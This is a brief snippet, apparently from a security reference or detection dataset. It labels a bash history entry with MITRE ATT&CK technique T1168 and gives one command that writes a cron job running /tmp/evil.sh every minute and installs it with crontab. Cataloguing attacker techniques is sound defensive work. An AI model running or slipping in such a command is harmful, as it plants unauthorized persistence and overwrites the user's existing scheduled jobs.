Bash History MITRE ATT&CK Technique: T1168 echo "* * * * * /tmp/evil.sh" > /tmp/persistevil && crontab /tmp/persistevil